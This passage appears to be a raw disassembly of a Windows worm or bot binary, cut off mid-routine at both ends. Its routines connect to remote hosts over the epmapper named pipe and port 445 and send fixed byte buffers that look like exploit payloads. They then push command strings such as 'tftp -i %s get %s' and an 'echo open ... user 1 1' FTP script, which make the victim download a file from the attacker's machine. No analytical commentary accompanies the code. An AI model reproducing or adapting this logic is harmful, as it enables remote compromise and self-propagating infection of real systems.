pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_416BCD
mov edi, eax
add esp, 10h
test edi, edi
jz loc_402DD3
push ebx
mov ebx, offset off_427A80
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_417390
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417330
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_417390
add esp, 24h
lea esi, [edi+0D7h]
loc_402C09: ; CODE XREF: sub_402B84+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_402C59
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_417390
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417330
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_417390
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_402C09
; ---------------------------------------------------------------------------
loc_402C59: ; CODE XREF: sub_402B84+90j
cmp [ebp+arg_C4], 0
jz short loc_402C74
cmp [ebp+arg_C0], 3
jz short loc_402C7D
cmp [ebp+arg_C0], 0
jmp short loc_402C7B
; ---------------------------------------------------------------------------
loc_402C74: ; CODE XREF: sub_402B84+DCj
cmp [ebp+arg_C0], 3
loc_402C7B: ; CODE XREF: sub_402B84+EEj
jnz short loc_402C86
loc_402C7D: ; CODE XREF: sub_402B84+E5j
push 4
push offset dword_427B60
jmp short loc_402C8D
; ---------------------------------------------------------------------------
loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj
push 4
push offset dword_427B5C
loc_402C8D: ; CODE XREF: sub_402B84+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_427694
push eax
call sub_417390
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4279F8
push eax
call sub_417390
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_417390
lea edi, [esi+370h]
push 3Ch
push offset off_427A0C
lea eax, [ebp+edi+var_1004]
push eax
call sub_417390
add edi, 3Ch
push 30h
push offset dword_427A4C
lea eax, [ebp+edi+var_1004]
push eax
call sub_417390
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_417B89
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_417330
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_417390
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_402DD3: ; CODE XREF: sub_402B84+3Ej
pop edi
pop esi
leave
retn
sub_402B84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp
; DATA XREF: ___:off_42ACB4o
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1338h
call sub_417B30
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_402F45
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_4029E9
pop ecx
test eax, eax
pop ecx
jz loc_403055
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_4172B0
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
nop
call near ptr 2660829h
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_402E5C
loc_402E4D: ; CODE XREF: sub_402DD7+126j
lea eax, [ebp+arg_4]
push eax
call sub_402ACC
pop ecx
jmp loc_403055
; ---------------------------------------------------------------------------
loc_402E5C: ; CODE XREF: sub_402DD7+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_40D4C5
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B84
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_402EF4
mov edi, 186A0h
push edi
call sub_417B89
mov esi, eax
push edi
push ebx
push esi
call sub_417330
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_427648
push [ebp+var_4]
nop
call near ptr 2660000h
cmp byte ptr [esi+2], 0Ch
jnz short loc_402EE4
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call near ptr 2650000h
nop
test eax, eax
jnz short loc_402F02
loc_402EE4: ; CODE XREF: sub_402DD7+F3j
push esi
call sub_417C3B
push [ebp+var_8]
call sub_417C3B
pop ecx
pop ecx
loc_402EF4: ; CODE XREF: sub_402DD7+B9j
push [ebp+var_4]
nop
call near ptr 26408F3h
jmp loc_402E4D
; ---------------------------------------------------------------------------
loc_402F02: ; CODE XREF: sub_402DD7+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
nop
call near ptr 2640000h
push [ebp+var_8]
mov edi, eax
call sub_417C3B
push esi
call sub_417C3B
pop ecx
pop ecx
push [ebp+var_4]
call near ptr 26408F3h
nop
lea eax, [ebp+arg_4]
push eax
call sub_402ACC
cmp edi, 1
pop ecx
jnz loc_403066
jmp loc_403055
; ---------------------------------------------------------------------------
loc_402F45: ; CODE XREF: sub_402DD7+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_40D4C5
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403055
xor ebx, ebx
push ebx
push 1
push 2
call dword_43AE18
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403055
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43AD98
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43ADD8
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B84
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_402FD7
push [ebp+var_4]
jmp short loc_40304F
; ---------------------------------------------------------------------------
loc_402FD7: ; CODE XREF: sub_402DD7+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43AD40
cmp eax, 0FFFFFFFFh
jnz short loc_402FEF
loc_402FEC: ; CODE XREF: sub_402DD7+22Aj
push esi
jmp short loc_403048
; ---------------------------------------------------------------------------
loc_402FEF: ; CODE XREF: sub_402DD7+213j
push ebx
push 48h
push offset dword_427648
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_402FEC
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43ADB0
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_403030
push [ebp+var_8]
jmp short loc_403048
; ---------------------------------------------------------------------------
loc_403030: ; CODE XREF: sub_402DD7+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43ADB0
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_403059
loc_403048: ; CODE XREF: sub_402DD7+216j
; sub_402DD7+257j
call sub_417C3B
pop ecx
push edi
loc_40304F: ; CODE XREF: sub_402DD7+1FEj
call dword_43AE30
loc_403055: ; CODE XREF: sub_402DD7+31j
; sub_402DD7+80j ...
xor eax, eax
jmp short loc_4030C7
; ---------------------------------------------------------------------------
loc_403059: ; CODE XREF: sub_402DD7+26Fj
call sub_417C3B
pop ecx
push edi
call dword_43AE30
loc_403066: ; CODE XREF: sub_402DD7+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_338]
push offset unk_427B78
push eax
call sub_4172B0
add esp, 0Ch
loc_40307E: ; CODE XREF: sub_402DD7+2C7j
lea eax, [ebp+var_338]
push eax
call sub_40C04D
test eax, eax
pop ecx
jnz short loc_4030A2
push 1388h
nop
call near ptr 2610E88h
inc ebx
cmp ebx, 6
jl short loc_40307E
jmp short loc_4030C4
; ---------------------------------------------------------------------------
loc_4030A2: ; CODE XREF: sub_402DD7+2B6j
lea eax, [ebp+var_338]
push eax
call sub_40BF6D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_4030C4: ; CODE XREF: sub_402DD7+2C9j
push 1
pop eax
loc_4030C7: ; CODE XREF: sub_402DD7+280j
pop edi
pop esi
pop ebx
leave
retn
sub_402DD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4030CC proc near ; DATA XREF: ___:00426004o
jmp $+5
sub_4030CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4030D1 proc near
push 0BB80h
push 76Ch
call sub_415450
pop ecx
mov dword_436EE0, eax
pop ecx
retn
sub_4030D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43ADD8
mov [ebp+var_C], eax
mov ax, word ptr dword_436EE0
push eax
call dword_43AD98
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43AE18
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403222
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43AD40
cmp eax, 0FFFFFFFFh
jz loc_403222
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43ADB0
mov esi, offset byte_42F674
push esi
push esi
push [ebp+arg_0]
call sub_40AEE0
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 18h
push esi
push esi
push dword_436F0C
push [ebp+arg_0]
call sub_40AEE0
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_403222
push 1F4h
nop
call near ptr 2610E88h
push esi
push offset dword_428598
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_403226
loc_403222: ; CODE XREF: sub_4030E8+51j
; sub_4030E8+67j ...
xor al, al
jmp short loc_403244
; ---------------------------------------------------------------------------
loc_403226: ; CODE XREF: sub_4030E8+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43ADB0
push ebx
call dword_43AE30
mov al, 1
loc_403244: ; CODE XREF: sub_4030E8+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4030E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403249 proc near ; CODE XREF: ___:004037ADp
; ___:004037CFp
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_417B30
mov eax, dword_428634
push ebx
mov [ebp+var_10], eax
mov eax, dword_428638
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_428628
push eax
call sub_4172B0
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_403288: ; CODE XREF: sub_403249+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_403288
push 60h
lea eax, [ebp+var_B4]
push offset dword_4280B8
push eax
call sub_417390
lea eax, [ebp+var_3C]
push eax
call sub_417AB0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_417390
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC+3)
push eax
call sub_417AB0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_417390
lea eax, [ebp+var_3C]
push eax
call sub_417AB0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_417390
lea eax, [ebp+var_3C]
push eax
call sub_417AB0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_417390
mov ax, word ptr dword_436EE0
add esp, 2Ch
push eax
call dword_43AD98
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_427DB8
call sub_417390
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403445
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_417330
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4284E0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_417390
mov esi, offset loc_427D08
push esi
call sub_417AB0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_417390
push 4
lea eax, [ebp+var_11AC]
push offset loc_428620
push eax
call sub_417390
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_417390
add esp, 40h
push esi
call sub_417AB0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_417390
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_4033FE: ; CODE XREF: sub_403249+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_4033FE
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_417330
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_417330
add esp, 18h
jmp short loc_40349C
; ---------------------------------------------------------------------------
loc_403445: ; CODE XREF: sub_403249+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_417330
mov esi, offset loc_427D08
push esi
call sub_417AB0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_417390
lea eax, [ebp+var_10]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_417390
mov eax, dword_4284E0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40349C: ; CODE XREF: sub_403249+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_417330
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_4034DB
loc_4034D4: ; CODE XREF: sub_403249+2B9j
; sub_403249+2E0j ...
xor al, al
jmp loc_403683
; ---------------------------------------------------------------------------
loc_4034DB: ; CODE XREF: sub_403249+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43ADB0
push ebx
push 68h
push offset dword_42811C
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_4034D4
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43ADB0
push ebx
push 0A0h
push offset dword_428188
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_4034D4
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43ADB0
cmp [ebp+arg_C0], ebx
jz loc_4035F1
push 68h
lea eax, [ebp+var_89B4]
push offset dword_428340
push eax
call sub_417390
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_417390
push 70h
lea eax, [ebp+var_68DC]
push offset dword_4283AC
push eax
call sub_417390
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_417390
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_428420
push eax
call sub_417390
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz loc_4034D4
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43ADB0
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403647
; ---------------------------------------------------------------------------
loc_4035F1: ; CODE XREF: sub_403249+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_42822C
push eax
call sub_417390
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_417390
push 90h
lea eax, [ebp+var_245C]
push offset off_4282AC
push eax
call sub_417390
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403647: ; CODE XREF: sub_403249+3A6j
push eax
push edi
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz loc_4034D4
push 12Ch
nop
call near ptr 2610E88h
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4030E8
add esp, 0BCh
test al, al
setnz al
loc_403683: ; CODE XREF: sub_403249+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_403249 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_415450
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_417330
add esp, 14h
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_43ADD8
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_43AD98
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_43AE18
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403790
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_43AD40
cmp eax, 0FFFFFFFFh
jz loc_403790
push edi
push 89h
push offset dword_427EA0
push ebx
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_403790
mov esi, 640h
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43ADB0
push edi
push 0A8h
push offset dword_427F2C
push ebx
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_403790
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43ADB0
push edi
push 0DEh
push offset dword_427FD8
push ebx
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_403790
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43ADB0
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40379A
dec eax
jz short loc_403797
loc_403790: ; CODE XREF: ___:004036EBj
; ___:00403701j ...
xor eax, eax
jmp loc_403817
; ---------------------------------------------------------------------------
loc_403797: ; CODE XREF: ___:0040378Ej
push edi
jmp short loc_4037BE
; ---------------------------------------------------------------------------
loc_40379A: ; CODE XREF: ___:0040378Bj
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403249
add esp, 0C4h
test al, al
jnz short loc_4037DE
push 1
loc_4037BE: ; CODE XREF: ___:00403798j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403249
add esp, 0C4h
test al, al
jz short loc_4037E5
loc_4037DE: ; CODE XREF: ___:004037BAj
mov dword ptr [ebp-4], 1
loc_4037E5: ; CODE XREF: ___:004037DCj
push ebx
call dword_43AE30
cmp dword ptr [ebp-4], 0
jz short loc_403814
lea eax, [ebp-854h]
push eax
call sub_40BF6D
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_403814: ; CODE XREF: ___:004037F0j
push 1
pop eax
loc_403817: ; CODE XREF: ___:00403792j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40381C proc near ; CODE XREF: sub_403A90+Ep
; sub_403A90+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40381C endp
; =============== S U B R O U T I N E =======================================
sub_403826 proc near ; CODE XREF: sub_403A90+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_417B89
mov edi, eax
pop ecx
test edi, edi
jz short loc_403858
push ebx
push 0
push edi
call sub_417330
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_417390
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403858: ; CODE XREF: sub_403826+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403826 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403860 proc near ; CODE XREF: sub_40395A+18p
; sub_4039D4+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
jz short loc_4038AC
push edi
push 0
push esi
call sub_417330
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_417390
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417390
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4038AC: ; CODE XREF: sub_403860+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403860 endp
; =============== S U B R O U T I N E =======================================
sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep
; sub_40395A+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4038C5
push eax
call sub_417C3B
pop ecx
loc_4038C5: ; CODE XREF: sub_4038B5+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4038B5 endp
; =============== S U B R O U T I N E =======================================
sub_4038CE proc near ; CODE XREF: sub_40395A+20p
; sub_403A35+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_4038FB
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_417B89
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4038FF
loc_4038FB: ; CODE XREF: sub_4038CE+Dj
xor al, al
jmp short loc_403956
; ---------------------------------------------------------------------------
loc_4038FF: ; CODE XREF: sub_4038CE+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_417330
add esp, 0Ch
cmp ebx, 1
jnz short loc_403924
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40393E
; ---------------------------------------------------------------------------
loc_403924: ; CODE XREF: sub_4038CE+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40393E: ; CODE XREF: sub_4038CE+54j
push eax
call sub_417390
add esp, 0Ch
push dword ptr [esi]
call sub_417C3B
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403956: ; CODE XREF: sub_4038CE+2Fj
pop edi
pop esi
pop ebx
retn
sub_4038CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40395A proc near ; CODE XREF: sub_403A90+89p
; sub_403A90+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_436EF4
call sub_403860
lea ecx, [ebp+var_8]
call sub_4038CE
mov eax, [ebp+var_4]
inc eax
push eax
call sub_417B89
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403994
xor al, al
jmp short loc_4039D0
; ---------------------------------------------------------------------------
loc_403994: ; CODE XREF: sub_40395A+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_417330
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_417390
add esp, 18h
mov ecx, esi
call sub_4038B5
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4038B5
mov al, 1
loc_4039D0: ; CODE XREF: sub_40395A+38j
pop edi
pop esi
leave
retn
sub_40395A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4039D4 proc near ; CODE XREF: sub_403A08+14p
; sub_403A25+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403860
mov ecx, esi
call sub_4038B5
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4039D4 endp
; =============== S U B R O U T I N E =======================================
sub_403A08 proc near ; CODE XREF: sub_403A90+F0p
; sub_403A90+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_417AB0
pop ecx
push eax
mov ecx, esi
